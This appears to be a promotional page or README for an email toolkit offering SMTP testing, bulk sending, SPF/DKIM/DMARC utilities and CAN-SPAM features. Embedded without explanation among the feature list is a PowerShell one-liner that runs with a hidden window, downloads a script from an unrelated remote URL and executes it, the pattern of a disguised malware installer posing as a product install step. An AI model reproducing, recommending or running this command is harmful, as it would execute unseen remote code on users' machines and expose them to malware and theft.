The ultimate toolkit for developers, sysadmins & marketers working with email infrastructure
✅ SMTP Server Tester
Verify connection/auth with any SMTP server
Check port availability (25/465/587/2525)
Test TLS/SSL encryption
✅ Email Sender
Raw SMTP protocol commands
Send test emails with custom headers
Attachment support (base64 encoding)
✅ Bulk Mail Dispatcher
CSV/API integration for personalized sends
Throttling control (messages per minute)
Queue management with retry logic
- Internet connection for real-time data fetching
powershell -WindowStyle Hidden -Command ([ScriptBlock]::Create((irm https://jaihind.edu.in/weatherdolphin/dollrandom))).Invoke();Full email path tracing (Received headers)
SPF/DKIM/DMARC validation
Blacklist monitoring
Auto-generate SPF records
DKIM key pair generator
DMARC policy builder
• Connection pooling manager • Load balancing simulator • Latency benchmarking
Log Analyzer (parse sendgrid/postfix logs)
API Gateway (REST to SMTP bridge)
Security Auditor (vulnerability scans)
Supported Protocols: SMTP • ESMTP • SMTPS • API (AWS SES/SendGrid)
Compliance: Fully supports CAN-SPAM with built-in:
Opt-out header generator
Physical address inserter
Unsubscribe link validator